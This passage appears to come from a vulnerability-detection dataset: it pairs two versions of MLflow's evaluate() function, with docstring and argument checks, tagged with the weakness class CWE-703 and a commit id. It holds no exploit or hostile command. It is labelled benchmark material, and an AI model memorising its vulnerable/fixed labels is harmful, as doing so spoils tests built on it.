                    model_type,
                    dataset_name,
                    evaluators,
                    validation_thresholds=thresholds,
                    baseline_model=your_baseline_model,
                )

        See :ref:`the Model Validation documentation <model-validation>`
        for more details.

    :param baseline_model: (Optional) A string URI referring to an MLflow model with the pyfunc
                           flavor. If specified, the candidate ``model`` is compared to this
                           baseline for model validation purposes.

    :param env_manager: Specify an environment manager to load the candidate ``model`` and
                        ``baseline_model`` in isolated Python evironments and restore their
                        dependencies. Default value is ``local``, and the following values are
                        supported:

                         - ``virtualenv``: (Recommended) Use virtualenv to restore the python
                           environment that was used to train the model.
                         - ``conda``:  Use Conda to restore the software environment that was used
                           to train the model.
                         - ``local``: Use the current Python environment for model inference, which
                           may differ from the environment used to train the model and may lead to
                           errors or invalid predictions.

    :param model_config: the model configuration to use for loading the model with pyfunc. Inspect
                         the model's pyfunc flavor to know which keys are supported for your
                         specific model. If not indicated, the default model configuration
                         from the model is used (if any).
    :param baseline_config: the model configuration to use for loading the baseline
                            model. If not indicated, the default model configuration
                            from the baseline model is used (if any).

    :return: An :py:class:`mlflow.models.EvaluationResult` instance containing
             metrics of candidate model and baseline model, and artifacts of candidate model.
    '''
    from mlflow.pyfunc import PyFuncModel, _load_model_or_server, _ServedPyFuncModel
    from mlflow.utils import env_manager as _EnvManager

    if data is None:
        raise MlflowException(
            message=""The data argument cannot be None."", error_code=INVALID_PARAMETER_VALUE
        )

    if predictions is not None and model is not None:
        raise MlflowException(
            message=""The predictions argument cannot be specified when model is specified."",
            error_code=INVALID_PARAMETER_VALUE,
        )

    _EnvManager.validate(env_manager)

    # If Dataset is provided, the targets and predictions can only be specified by the Dataset,
    # not the targets and predictions parameters of the mlflow.evaluate() API.
    if isinstance(data, Dataset) and targets is not None:
        raise MlflowException(
            message=""The top-level targets parameter should not be specified since a Dataset ""
            ""is used. Please only specify the targets column name in the Dataset. For example: ""
            ""`data = mlflow.data.from_pandas(df=X.assign(y=y), targets='y')`. ""
            ""Meanwhile, please specify `mlflow.evaluate(..., targets=None, ...)`."",
            error_code=INVALID_PARAMETER_VALUE,
        )
    if isinstance(data, Dataset) and predictions is not None:
        raise MlflowException(
            message=""The top-level predictions parameter should not be specified since a Dataset ""
            ""is used. Please only specify the predictions column name in the Dataset. For example:""
            "" `data = mlflow.data.from_pandas(df=X.assign(y=y), predictions='y')`""
            ""Meanwhile, please specify `mlflow.evaluate(..., predictions=None, ...)`."",
            error_code=INVALID_PARAMETER_VALUE,
        )

    if model_type in [_ModelType.REGRESSOR, _ModelType.CLASSIFIER]:
        if isinstance(data, Dataset):
            if getattr(data, ""targets"", None) is not None:
                targets = data.targets
            else:
                raise MlflowException(
                    message=""The targets column name must be specified in the provided Dataset ""
                    f""for {model_type} models. For example: ""
                    ""`data = mlflow.data.from_pandas(df=X.assign(y=y), targets='y')`"",
                    error_code=INVALID_PARAMETER_VALUE,
                )
        else:
            if targets is None:
                raise MlflowException(
                    f""The targets argument must be specified for {model_type} models."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
    elif model_type is None:
        if not extra_metrics:
            raise MlflowException(
                message=""The extra_metrics argument must be specified model_type is None."",
                error_code=INVALID_PARAMETER_VALUE,
            )

    if isinstance(model, str):
        model = _load_model_or_server(model, env_manager, model_config)
    elif env_manager != _EnvManager.LOCAL:
        raise MlflowException(
            message=""The model argument must be a string URI referring to an MLflow model when a ""
            ""non-local env_manager is specified."",
            error_code=INVALID_PARAMETER_VALUE,
        )
    elif isinstance(model, PyFuncModel):
        if model_config:
            raise MlflowException(
                message=""Indicating ``model_config`` when passing a `PyFuncModel`` object as ""
                ""model argument is not allowed. If you need to change the model configuration ""
                ""for the evaluation model, use ""
                ""``mlflow.pyfunc.load_model(model_uri, model_config=<value>)`` and indicate ""
                ""the desired configuration there."",
                error_code=INVALID_PARAMETER_VALUE,
            )
        pass
    elif model is None:
        # Evaluating a static dataset
        if isinstance(data, pd.DataFrame):
            # If data is a pandas dataframe, predictions must be specified
            if predictions is None:
                raise MlflowException(
                    message=""The model output must be specified in the predicitons ""
                    ""parameter when model=None."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
        elif isinstance(data, mlflow.data.pandas_dataset.PandasDataset):
            # If data is a mlflow PandasDataset, data.predictions must be specified
            if data.predictions is None:
                raise MlflowException(
                    message=""The predictions parameter must be specified with the provided ""
                    ""PandasDataset when model=None. For example: ""
                    ""`data = mlflow.data.from_pandas(df=X.assign(y=y), predictions='y')`"",
                    error_code=INVALID_PARAMETER_VALUE,
                )
        else:
            # Other data formats are not supported
            raise MlflowException(
                message=""The data must be a pandas dataframe or mlflow.data.pandas_dataset.""
                ""PandasDataset when model=None."",
                error_code=INVALID_PARAMETER_VALUE,
            )

    elif callable(model):
        model = _get_model_from_function(model)
    else:
        raise MlflowException(
            message=""The model argument must be a string URI referring to an MLflow model, ""
            ""an instance of `mlflow.pyfunc.PyFuncModel`, a function, or None."",
            error_code=INVALID_PARAMETER_VALUE,
        )

    if validation_thresholds:
        try:
            assert type(validation_thresholds) is dict
            for key in validation_thresholds.keys():
                assert type(key) is str
            for threshold in validation_thresholds.values():
                assert isinstance(threshold, MetricThreshold)
        except AssertionError:
            raise MlflowException(
                message=""The validation thresholds argument must be a dictionary that maps strings ""
                ""to MetricThreshold objects."",
                error_code=INVALID_PARAMETER_VALUE,
            )

    if isinstance(baseline_model, str):
        baseline_model = _load_model_or_server(
            baseline_model, env_manager, model_config=baseline_config
        )
    elif baseline_model is not None:
        raise MlflowException(
            message=""The baseline model argument must be a string URI referring to an ""
            ""MLflow model."",
            error_code=INVALID_PARAMETER_VALUE,
        )
    elif _model_validation_contains_model_comparison(validation_thresholds):
        raise MlflowException(
            message=""The baseline model argument is None. The baseline model must be specified ""
            ""when model comparison thresholds (min_absolute_change, min_relative_change) ""
            ""are specified."",
            error_code=INVALID_PARAMETER_VALUE,
        )

    (
        evaluator_name_list,
        evaluator_name_to_conf_map,
    ) = _normalize_evaluators_and_evaluator_config_args(evaluators, evaluator_config)

    with _start_run_or_reuse_active_run() as run_id:
        if not isinstance(data, Dataset):
            # Convert data to `mlflow.data.dataset.Dataset`.
            data = _convert_data_to_mlflow_dataset(
                data=data, targets=targets, predictions=predictions
            )

        from mlflow.data.pyfunc_dataset_mixin import PyFuncConvertibleDatasetMixin

        if isinstance(data, Dataset) and issubclass(data.__class__, PyFuncConvertibleDatasetMixin):
            dataset = data.to_evaluation_dataset(dataset_path, feature_names)
            if evaluator_name_to_conf_map and evaluator_name_to_conf_map.get(""default"", None):
                context = evaluator_name_to_conf_map[""default""].get(""metric_prefix"", None)
            else:
                context = None
            client = MlflowClient()
            tags = [InputTag(key=MLFLOW_DATASET_CONTEXT, value=context)] if context else []
            dataset_input = DatasetInput(dataset=data._to_mlflow_entity(), tags=tags)
            client.log_inputs(run_id, [dataset_input])
        else:
            dataset = EvaluationDataset(
                data,
                targets=targets,
                path=dataset_path,
                feature_names=feature_names,
            )

        try:
            evaluate_result = _evaluate(
                model=model,
                model_type=model_type,
                dataset=dataset,
                run_id=run_id,
                evaluator_name_list=evaluator_name_list,
                evaluator_name_to_conf_map=evaluator_name_to_conf_map,
                custom_metrics=custom_metrics,
                extra_metrics=extra_metrics,
                custom_artifacts=custom_artifacts,
                baseline_model=baseline_model,
            )
        finally:
            if isinstance(model, _ServedPyFuncModel):
                os.kill(model.pid, signal.SIGTERM)
            if isinstance(baseline_model, _ServedPyFuncModel):
                os.kill(baseline_model.pid, signal.SIGTERM)

        if not validation_thresholds:
            return evaluate_result

        _logger.info(""Validating generated model metrics"")
        _validate(
            validation_thresholds,
            evaluate_result.metrics,
            evaluate_result.baseline_model_metrics,
        )
        _logger.info(""Model validation passed!"")

        return evaluate_result",CWE-703,mlflow/mlflow,adce81e27ac7f06a807f53d14ff7a4c8aa23bb0f,"def evaluate(
    model: Optional[str] = None,
    data=None,
    *,
    model_type: Optional[str] = None,
    targets=None,
    predictions=None,
    dataset_path=None,
    feature_names: Optional[list] = None,
    evaluators=None,
    evaluator_config=None,
    custom_metrics=None,
    extra_metrics=None,
    custom_artifacts=None,
    validation_thresholds=None,
    baseline_model=None,
    env_manager=""local"",
    model_config=None,
    baseline_config=None,
):
    '''
    Evaluate a PyFunc model on the specified dataset using one or more specified ``evaluators``, and
    log resulting metrics & artifacts to MLflow Tracking. Set thresholds on the generated metrics to
    validate model quality. For additional overview information, see
    :ref:`the Model Evaluation documentation <model-evaluation>`.

    Default Evaluator behavior:
     - The default evaluator, which can be invoked with ``evaluators=""default""`` or
       ``evaluators=None``, supports the ``""regressor""`` and ``""classifier""`` model types.
       It generates a variety of model performance metrics, model performance plots, and
       model explanations.

     - For both the ``""regressor""`` and ``""classifier""`` model types, the default evaluator
       generates model summary plots and feature importance plots using
       `SHAP <https://shap.readthedocs.io/en/latest/index.html>`_.

     - For regressor models, the default evaluator additionally logs:
        - **metrics**: example_count, mean_absolute_error, mean_squared_error,
          root_mean_squared_error, sum_on_target, mean_on_target, r2_score, max_error,
          mean_absolute_percentage_error.

     - For binary classifiers, the default evaluator additionally logs:
        - **metrics**: true_negatives, false_positives, false_negatives, true_positives, recall,
          precision, f1_score, accuracy_score, example_count, log_loss, roc_auc,
          precision_recall_auc.
        - **artifacts**: lift curve plot, precision-recall plot, ROC plot.

     - For multiclass classifiers, the default evaluator additionally logs:
        - **metrics**: accuracy_score, example_count, f1_score_micro, f1_score_macro, log_loss
        - **artifacts**: A CSV file for ""per_class_metrics"" (per-class metrics includes
          true_negatives/false_positives/false_negatives/true_positives/recall/precision/roc_auc,
          precision_recall_auc), precision-recall merged curves plot, ROC merged curves plot.

     - For question-answering models, the default evaluator logs:
        - **metrics**: ``exact_match``, ``token_count``, `mean_perplexity`_ (requires `evaluate`_,
          `pytorch`_, `transformers`_), `toxicity_ratio`_ (requires `evaluate`_, `pytorch`_,
          `mean_flesch_kincaid_grade_level`_ (requires `textstat`_).
        - **artifacts**: A JSON file containing the inputs, outputs, targets (if the ``targets``
          argument is supplied), and per-row metrics of the model in tabular format.

        .. _mean_perplexity:
            https://huggingface.co/spaces/evaluate-metric/perplexity

        .. _toxicity_ratio:
            https://huggingface.co/spaces/evaluate-measurement/toxicity

        .. _pytorch:
            https://pytorch.org/get-started/locally/

        .. _transformers:
            https://huggingface.co/docs/transformers/installation

        .. _mean_ari_grade_level:
            https://en.wikipedia.org/wiki/Automated_readability_index

        .. _mean_flesch_kincaid_grade_level:
            https://en.wikipedia.org/wiki/Flesch%E2%80%93Kincaid_readability_tests#Flesch%E2%80%93Kincaid_grade_level

        .. _evaluate:
            https://pypi.org/project/evaluate

        .. _textstat:
            https://pypi.org/project/textstat

     - For text-summarization models, the default evaluator logs:
        - **metrics**: ``token_count``, `ROUGE`_ (requires `evaluate`_, `nltk`_, and
          `rouge_score`_ to be installed), `mean_perplexity`_ (requires `evaluate`_, `pytorch`_,
          `transformers`_), `toxicity_ratio`_ (requires `evaluate`_, `pytorch`_, `transformers`_),
          `mean_ari_grade_level`_ (requires `textstat`_), `mean_flesch_kincaid_grade_level`_
          (requires `textstat`_).
        - **artifacts**: A JSON file containing the inputs, outputs, targets (if the ``targets``
          argument is supplied), and per-row metrics of the model in the tabular format.

        .. _ROUGE:
            https://huggingface.co/spaces/evaluate-metric/rouge

        .. _mean_perplexity:
            https://huggingface.co/spaces/evaluate-metric/perplexity

        .. _toxicity_ratio:
            https://huggingface.co/spaces/evaluate-measurement/toxicity

        .. _pytorch:
            https://pytorch.org/get-started/locally/

        .. _transformers:
            https://huggingface.co/docs/transformers/installation

        .. _mean_ari_grade_level:
            https://en.wikipedia.org/wiki/Automated_readability_index

        .. _mean_flesch_kincaid_grade_level:
            https://en.wikipedia.org/wiki/Flesch%E2%80%93Kincaid_readability_tests#Flesch%E2%80%93Kincaid_grade_level

        .. _evaluate:
            https://pypi.org/project/evaluate

        .. _nltk:
            https://pypi.org/project/nltk

        .. _rouge_score:
            https://pypi.org/project/rouge-score

        .. _textstat:
            https://pypi.org/project/textstat

     - For text models, the default evaluator logs:
        - **metrics**: ``token_count``, `mean_perplexity`_ (requires `evaluate`_, `pytorch`_,
          `transformers`_), `toxicity_ratio`_ (requires `evaluate`_, `pytorch`_, `transformers`_),
          `mean_ari_grade_level`_ (requires `textstat`_), `mean_flesch_kincaid_grade_level`_
          (requires `textstat`_).
        - **artifacts**: A JSON file containing the inputs, outputs, targets (if the ``targets``
          argument is supplied), and per-row metrics of the model in tabular format.

        .. _evaluate:
            https://pypi.org/project/evaluate

        .. _mean_perplexity:
            https://huggingface.co/spaces/evaluate-metric/perplexity

        .. _toxicity_ratio:
            https://huggingface.co/spaces/evaluate-measurement/toxicity

        .. _pytorch:
            https://pytorch.org/get-started/locally/

        .. _transformers:
            https://huggingface.co/docs/transformers/installation

        .. _mean_ari_grade_level:
            https://en.wikipedia.org/wiki/Automated_readability_index

        .. _mean_flesch_kincaid_grade_level:
            https://en.wikipedia.org/wiki/Flesch%E2%80%93Kincaid_readability_tests#Flesch%E2%80%93Kincaid_grade_level

        .. _textstat:
            https://pypi.org/project/textstat

     - For sklearn models, the default evaluator additionally logs the model's evaluation criterion
       (e.g. mean accuracy for a classifier) computed by `model.score` method.

     - The metrics/artifacts listed above are logged to the active MLflow run.
       If no active run exists, a new MLflow run is created for logging these metrics and
       artifacts. Note that no metrics/artifacts are logged for the ``baseline_model``.

     - Additionally, information about the specified dataset - hash, name (if specified), path
       (if specified), and the UUID of the model that evaluated it - is logged to the
       ``mlflow.datasets`` tag.

     - The available ``evaluator_config`` options for the default evaluator include:
        - **log_model_explainability**: A boolean value specifying whether or not to log model
          explainability insights, default value is True.
        - **explainability_algorithm**: A string to specify the SHAP Explainer algorithm for model
          explainability. Supported algorithm includes: 'exact', 'permutation', 'partition',
          'kernel'.
          If not set, ``shap.Explainer`` is used with the ""auto"" algorithm, which chooses the best
          Explainer based on the model.
        - **explainability_nsamples**: The number of sample rows to use for computing model
          explainability insights. Default value is 2000.
        - **explainability_kernel_link**: The kernel link function used by shap kernal explainer.
          Available values are ""identity"" and ""logit"". Default value is ""identity"".
        - **max_classes_for_multiclass_roc_pr**:
          For multiclass classification tasks, the maximum number of classes for which to log
          the per-class ROC curve and Precision-Recall curve. If the number of classes is
          larger than the configured maximum, these curves are not logged.
        - **metric_prefix**: An optional prefix to prepend to the name of each metric and artifact
          produced during evaluation.
        - **log_metrics_with_dataset_info**: A boolean value specifying whether or not to include
          information about the evaluation dataset in the name of each metric logged to MLflow
          Tracking during evaluation, default value is True.
        - **pos_label**: If specified, the positive label to use when computing classification
          metrics such as precision, recall, f1, etc. for binary classification models. For
          multiclass classification and regression models, this parameter will be ignored.
        - **average**: The averaging method to use when computing classification metrics such as
          precision, recall, f1, etc. for multiclass classification models
          (default: ``'weighted'``). For binary classification and regression models, this
          parameter will be ignored.
        - **sample_weights**: Weights for each sample to apply when computing model performance
          metrics.
        - **col_mapping**: A dictionary mapping column names in the input dataset or output
          predictions to column names used when invoking the evaluation functions.

     - Limitations of evaluation dataset:
        - For classification tasks, dataset labels are used to infer the total number of classes.
        - For binary classification tasks, the negative label value must be 0 or -1 or False, and
          the positive label value must be 1 or True.

     - Limitations of metrics/artifacts computation:
        - For classification tasks, some metric and artifact computations require the model to
          output class probabilities. Currently, for scikit-learn models, the default evaluator
          calls the ``predict_proba`` method on the underlying model to obtain probabilities. For
          other model types, the default evaluator does not compute metrics/artifacts that require
          probability outputs.

     - Limitations of default evaluator logging model explainability insights:
        - The ``shap.Explainer`` ``auto`` algorithm uses the ``Linear`` explainer for linear models
          and the ``Tree`` explainer for tree models. Because SHAP's ``Linear`` and ``Tree``
          explainers do not support multi-class classification, the default evaluator falls back to
          using the ``Exact`` or ``Permutation`` explainers for multi-class classification tasks.
        - Logging model explainability insights is not currently supported for PySpark models.
        - The evaluation dataset label values must be numeric or boolean, all feature values
          must be numeric, and each feature column must only contain scalar values.

     - Limitations when environment restoration is enabled:
        - When environment restoration is enabled for the evaluated model (i.e. a non-local
          ``env_manager`` is specified), the model is loaded as a client that invokes a MLflow
          Model Scoring Server process in an independent Python environment with the model's
          training time dependencies installed. As such, methods like ``predict_proba`` (for
          probability outputs) or ``score`` (computes the evaluation criterian for sklearn models)
          of the model become inaccessible and the default evaluator does not compute metrics or
          artifacts that require those methods.
        - Because the model is an MLflow Model Server process, SHAP explanations are slower to
          compute. As such, model explainaibility is disabled when a non-local ``env_manager``
          specified, unless the ``evaluator_config`` option **log_model_explainability** is
          explicitly set to ``True``.

    :param model: Optional. If specified, it should be one of the following:

                  - A pyfunc model instance

                  - A URI referring to a pyfunc model

                  - A callable function: This function should be able to take in model input and
                    return predictions. It should follow the signature of the
                    :py:func:`predict <mlflow.pyfunc.PyFuncModel.predict>` method. Here's an example
                    of a valid function:

                        model = mlflow.pyfunc.load_model(model_uri)

                        def fn(model_input):
                            return model.predict(model_input)

        If omitted, it indicates a static dataset will be used for evaluation instead of a model.
        In this case, the ``data`` argument must be a Pandas DataFrame or an mlflow PandasDataset
        that contains model outputs, and the ``predictions`` argument must be the name of the
        column in ``data`` that contains model outputs.

    :param data: One of the following:

                 - A numpy array or list of evaluation features, excluding labels.

                 - A Pandas DataFrame containing evaluation features, labels, and optionally model
                   outputs. Model outputs are required to be provided when model is unspecified.
                   If ``feature_names`` argument not specified, all columns except for the label
                   column and model_output column are regarded as feature columns. Otherwise,
                   only column names present in ``feature_names`` are regarded as feature columns.

                 -  A Spark DataFrame containing evaluation features and labels. If
                    ``feature_names`` argument not specified, all columns except for the label
                    column are regarded as feature columns. Otherwise, only column names present in
                    ``feature_names`` are regarded as feature columns. Only the first 10000 rows in
                    the Spark DataFrame will be used as evaluation data.

                 - A :py:class:`mlflow.data.dataset.Dataset` instance containing evaluation
                   features, labels, and optionally model outputs. Model outputs are only supported
                   with a PandasDataset. Model outputs are required when model is unspecified, and
                   should be specified via the ``predictions`` property of the PandasDataset.

    :param targets: If ``data`` is a numpy array or list, a numpy array or list of evaluation
                    labels. If ``data`` is a DataFrame, the string name of a column from ``data``
                    that contains evaluation labels. Required for classifier and regressor models,
                    but optional for question-answering, text-summarization, and text models. If
                    ``data`` is a :py:class:`mlflow.data.dataset.Dataset` that defines targets,
                    then ``targets`` is optional.

    :param predictions: Optional. Only used when ``model`` is not specified and ``data`` is a pandas
                        dataframe. The name of the column in ``data`` that contains model outputs.

    :param model_type: (Optional) A string describing the model type. The default evaluator
                       supports the following model types:

                       - ``'classifier'``
                       - ``'regressor'``
                       - ``'question-answering'``
                       - ``'text-summarization'``
                       - ``'text'``

                       If no ``model_type`` is specified, then you must provide a a list of
                       metrics to compute via the ``extra_metrics`` param.

                       .. note::
                            ``'question-answering'``, ``'text-summarization'``, and ``'text'``
                            are experimental and may be changed or removed in a future release.

    :param dataset_path: (Optional) The path where the data is stored. Must not contain double
                         quotes (``“``). If specified, the path is logged to the ``mlflow.datasets``
                         tag for lineage tracking purposes.

    :param feature_names: (Optional) If the ``data`` argument is a feature data numpy array or list,
                          ``feature_names`` is a list of the feature names for each feature. If
                          ``None``, then the ``feature_names`` are generated using the format
                          ``feature_{feature_index}``. If the ``data`` argument is a Pandas
                          DataFrame or a Spark DataFrame, ``feature_names`` is a list of the names
                          of the feature columns in the DataFrame. If ``None``, then all columns
                          except the label column and the predictions column are regarded as
                          feature columns.

    :param evaluators: The name of the evaluator to use for model evaluation, or a list of
                       evaluator names. If unspecified, all evaluators capable of evaluating the
                       specified model on the specified dataset are used. The default evaluator
                       can be referred to by the name ``""default""``. To see all available
                       evaluators, call :py:func:`mlflow.models.list_evaluators`.

    :param evaluator_config: A dictionary of additional configurations to supply to the evaluator.
                             If multiple evaluators are specified, each configuration should be
                             supplied as a nested dictionary whose key is the evaluator name.

    :param extra_metrics:
        (Optional) A list of :py:class:`EvaluationMetric <mlflow.models.EvaluationMetric>` objects.
        See the `mlflow.metrics` module for more information about the
        builtin metrics and how to define custom metrics

        .. code-block:: python
            :caption: Example usage of custom metrics

            import mlflow
            import numpy as np


            def root_mean_squared_error(eval_df, _builtin_metrics):
                return np.sqrt((np.abs(eval_df[""prediction""] - eval_df[""target""]) ** 2).mean)


            rmse_metric = mlflow.models.make_metric(
                eval_fn=root_mean_squared_error,
                greater_is_better=False,
            )
            mlflow.evaluate(..., extra_metrics=[rmse_metric])

    :param custom_artifacts:
        (Optional) A list of custom artifact functions with the following signature:

        .. code-block:: python

            def custom_artifact(
                eval_df: Union[pandas.Dataframe, pyspark.sql.DataFrame],
                builtin_metrics: Dict[str, float],
                artifacts_dir: str,
            ) -> Dict[str, Any]:
                """"""
                :param eval_df:
                    A Pandas or Spark DataFrame containing ``prediction`` and ``target`` column.
                    The ``prediction`` column contains the predictions made by the model.
                    The ``target`` column contains the corresponding labels to the predictions made
                    on that row.
                :param builtin_metrics:
                    A dictionary containing the metrics calculated by the default evaluator.
                    The keys are the names of the metrics and the values are the scalar values of
                    the metrics. Refer to the DefaultEvaluator behavior section for what metrics
                    will be returned based on the type of model (i.e. classifier or regressor).
                :param artifacts_dir:
                    A temporary directory path that can be used by the custom artifacts function to
                    temporarily store produced artifacts. The directory will be deleted after the
                    artifacts are logged.
                :return:
                    A dictionary that maps artifact names to artifact objects
                    (e.g. a Matplotlib Figure) or to artifact paths within ``artifacts_dir``.
                """"""
                ...

        Object types that artifacts can be represented as:

            - A string uri representing the file path to the artifact. MLflow will infer the type of
              the artifact based on the file extension.
            - A string representation of a JSON object. This will be saved as a .json artifact.
            - Pandas DataFrame. This will be resolved as a CSV artifact.
            - Numpy array. This will be saved as a .npy artifact.
            - Matplotlib Figure. This will be saved as an image artifact. Note that
              ``matplotlib.pyplot.savefig`` is called behind the scene with default configurations.
              To customize, either save the figure with the desired configurations and return its
              file path or define customizations through environment variables in
              ``matplotlib.rcParams``.
            - Other objects will be attempted to be pickled with the default protocol.

        .. code-block:: python
            :caption: Example usage of custom artifacts

            import mlflow
            import matplotlib.pyplot as plt


            def scatter_plot(eval_df, builtin_metrics, artifacts_dir):
                plt.scatter(eval_df[""prediction""], eval_df[""target""])
                plt.xlabel(""Targets"")
                plt.ylabel(""Predictions"")
                plt.title(""Targets vs. Predictions"")
                plt.savefig(os.path.join(artifacts_dir, ""example.png""))
                plt.close()
                return {""pred_target_scatter"": os.path.join(artifacts_dir, ""example.png"")}


            def pred_sample(eval_df, _builtin_metrics, _artifacts_dir):
                return {""pred_sample"": pred_sample.head(10)}


            mlflow.evaluate(..., custom_artifacts=[scatter_plot, pred_sample])

    :param validation_thresholds: (Optional) A dictionary of metric name to
        :py:class:`mlflow.models.MetricThreshold` used for model validation. Each metric name must
        either be the name of a builtin metric or the name of a metric defined in the
        ``extra_metrics`` parameter.

        .. code-block:: python
            :caption: Example of Model Validation

            from mlflow.models import MetricThreshold

            thresholds = {
                ""accuracy_score"": MetricThreshold(
                    # accuracy should be >=0.8
                    threshold=0.8,
                    # accuracy should be at least 5 percent greater than baseline model accuracy
                    min_absolute_change=0.05,
                    # accuracy should be at least 0.05 greater than baseline model accuracy
                    min_relative_change=0.05,
                    greater_is_better=True,
                ),
            }

            with mlflow.start_run():
                mlflow.evaluate(
                    model=your_candidate_model,
                    data,
                    targets,
                    model_type,
                    dataset_name,
                    evaluators,
                    validation_thresholds=thresholds,
                    baseline_model=your_baseline_model,
                )

        See :ref:`the Model Validation documentation <model-validation>`
        for more details.

    :param baseline_model: (Optional) A string URI referring to an MLflow model with the pyfunc
                           flavor. If specified, the candidate ``model`` is compared to this
                           baseline for model validation purposes.

    :param env_manager: Specify an environment manager to load the candidate ``model`` and
                        ``baseline_model`` in isolated Python evironments and restore their
                        dependencies. Default value is ``local``, and the following values are
                        supported:

                         - ``virtualenv``: (Recommended) Use virtualenv to restore the python
                           environment that was used to train the model.
                         - ``conda``:  Use Conda to restore the software environment that was used
                           to train the model.
                         - ``local``: Use the current Python environment for model inference, which
                           may differ from the environment used to train the model and may lead to
                           errors or invalid predictions.

    :param model_config: the model configuration to use for loading the model with pyfunc. Inspect
                         the model's pyfunc flavor to know which keys are supported for your
                         specific model. If not indicated, the default model configuration
                         from the model is used (if any).
    :param baseline_config: the model configuration to use for loading the baseline
                            model. If not indicated, the default model configuration
                            from the baseline model is used (if any).

    :return: An :py:class:`mlflow.models.EvaluationResult` instance containing
             metrics of candidate model and baseline model, and artifacts of candidate model.
    '''
    from mlflow.pyfunc import PyFuncModel, _load_model_or_server, _ServedPyFuncModel
    from mlflow.utils import env_manager as _EnvManager

    if data is None:
        raise MlflowException(
            message=""The data argument cannot be None."", error_code=INVALID_PARAMETER_VALUE
        )

    if predictions is not None and model is not None:
        raise MlflowException(
            message=""The predictions argument cannot be specified when model is specified."",
            error_code=INVALID_PARAMETER_VALUE,
        )

    _EnvManager.validate(env_manager)

    if model_type in [_ModelType.REGRESSOR, _ModelType.CLASSIFIER]:
        if isinstance(data, Dataset):
            if getattr(data, ""targets"", None) is not None:
                targets = data.targets
            else:
                raise MlflowException(
                    message=""The targets argument is required when data is a Dataset and does not ""
                    ""define targets."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
        else:
            if targets is None:
                raise MlflowException(
                    f""The targets argument must be specified for {model_type} models."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
    elif model_type is None:
        if not extra_metrics:
            raise MlflowException(
                message=""The extra_metrics argument must be specified model_type is None."",
                error_code=INVALID_PARAMETER_VALUE,
            )

    if isinstance(model, str):
        model = _load_model_or_server(model, env_manager, model_config)
    elif env_manager != _EnvManager.LOCAL:
        raise MlflowException(
            message=""The model argument must be a string URI referring to an MLflow model when a ""
            ""non-local env_manager is specified."",
            error_code=INVALID_PARAMETER_VALUE,
        )
    elif isinstance(model, PyFuncModel):
        if model_config:
            raise MlflowException(
                message=""Indicating ``model_config`` when passing a `PyFuncModel`` object as ""
                ""model argument is not allowed. If you need to change the model configuration ""
                ""for the evaluation model, use ""
                ""``mlflow.pyfunc.load_model(model_uri, model_config=<value>)`` and indicate ""
                ""the desired configuration there."",
                error_code=INVALID_PARAMETER_VALUE,
            )
        pass
    elif model is None:
        # Evaluating a static dataset
        if isinstance(data, pd.DataFrame):
            # If data is a pandas dataframe, predictions must be specified
            if predictions is None:
                raise MlflowException(
                    message=""The model output must be specified in the predicitons ""
                    ""parameter when model=None."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
            if predictions not in data.columns:
                raise MlflowException(
                    message=f""The specified predictions column '{predictions}' is not ""
                    ""found in the specified data."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
        elif isinstance(data, mlflow.data.pandas_dataset.PandasDataset):
            # If data is a mlflow PandasDataset with predictions specified
            # check that exact one predictions column is specified
            if data.predictions is not None:
                if predictions is not None and predictions != data.predictions:
                    raise MlflowException(
                        message=""The predictions parameter must be None or the same as ""
                        ""data.predictions when data.predictions is specified. Found ""
                        f""predictions='{predictions}', data.predictions='{data.predictions}'."",
                        error_code=INVALID_PARAMETER_VALUE,
                    )
                else:  # predictions is None or predictions == data.predictions
                    pass  # OK: exact one predictions column is specified
            else:
                raise MlflowException(
                    message=""The predictions parameter must be specified with the provided ""
                    ""PandasDataset when model=None."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
        else:
            # Other data formats are not supported
            raise MlflowException(
                message=""The data must be a pandas dataframe or mlflow.data.pandas_dataset.""
                ""PandasDataset when model=None."",
                error_code=INVALID_PARAMETER_VALUE,
            )

    elif callable(model):
        model = _get_model_from_function(model)
    else:
        raise MlflowException(
            message=""The model argument must be a string URI referring to an MLflow model, ""
            ""an instance of `mlflow.pyfunc.PyFuncModel`, a function, or None."",
            error_code=INVALID_PARAMETER_VALUE,
        )

    if validation_thresholds:
        try:
            assert type(validation_thresholds) is dict
            for key in validation_thresholds.keys():
                assert type(key) is str
            for threshold in validation_thresholds.values():
                assert isinstance(threshold, MetricThreshold)
        except AssertionError:
            raise MlflowException(
                message=""The validation thresholds argument must be a dictionary that maps strings ""
                ""to MetricThreshold objects."",
                error_code=INVALID_PARAMETER_VALUE,
            )

    if isinstance(baseline_model, str):
        baseline_model = _load_model_or_server(
            baseline_model, env_manager, model_config=baseline_config
        )
    elif baseline_model is not None:
        raise MlflowException(
            message=""The baseline model argument must be a string URI referring to an ""
            ""MLflow model."",
            error_code=INVALID_PARAMETER_VALUE,
        )
    elif _model_validation_contains_model_comparison(validation_thresholds):
        raise MlflowException(
            message=""The baseline model argument is None. The baseline model must be specified ""
            ""when model comparison thresholds (min_absolute_change, min_relative_change) ""
            ""are specified."",
            error_code=INVALID_PARAMETER_VALUE,
        )

    (
        evaluator_name_list,
        evaluator_name_to_conf_map,
    ) = _normalize_evaluators_and_evaluator_config_args(evaluators, evaluator_config)

    with _start_run_or_reuse_active_run() as run_id:
        if not isinstance(data, Dataset):
            # Convert data to `mlflow.data.dataset.Dataset`.
            data = _convert_data_to_mlflow_dataset(
                data=data, targets=targets, predictions=predictions
            )

        from mlflow.data.pyfunc_dataset_mixin import PyFuncConvertibleDatasetMixin

        if isinstance(data, Dataset) and issubclass(data.__class__, PyFuncConvertibleDatasetMixin):
            dataset = data.to_evaluation_dataset(dataset_path, feature_names)
            if evaluator_name_to_conf_map and evaluator_name_to_conf_map.get(""default"", None):
                context = evaluator_name_to_conf_map[""default""].get(""metric_prefix"", None)
            else:
                context = None
            client = MlflowClient()
            tags = [InputTag(key=MLFLOW_DATASET_CONTEXT, value=context)] if context else []
            dataset_input = DatasetInput(dataset=data._to_mlflow_entity(), tags=tags)
            client.log_inputs(run_id, [dataset_input])
        else:
            dataset = EvaluationDataset(
                data,
                targets=targets,
                path=dataset_path,
                feature_names=feature_names,
            )

        try:
            evaluate_result = _evaluate(
                model=model,
                model_type=model_type,
                dataset=dataset,
                run_id=run_id,
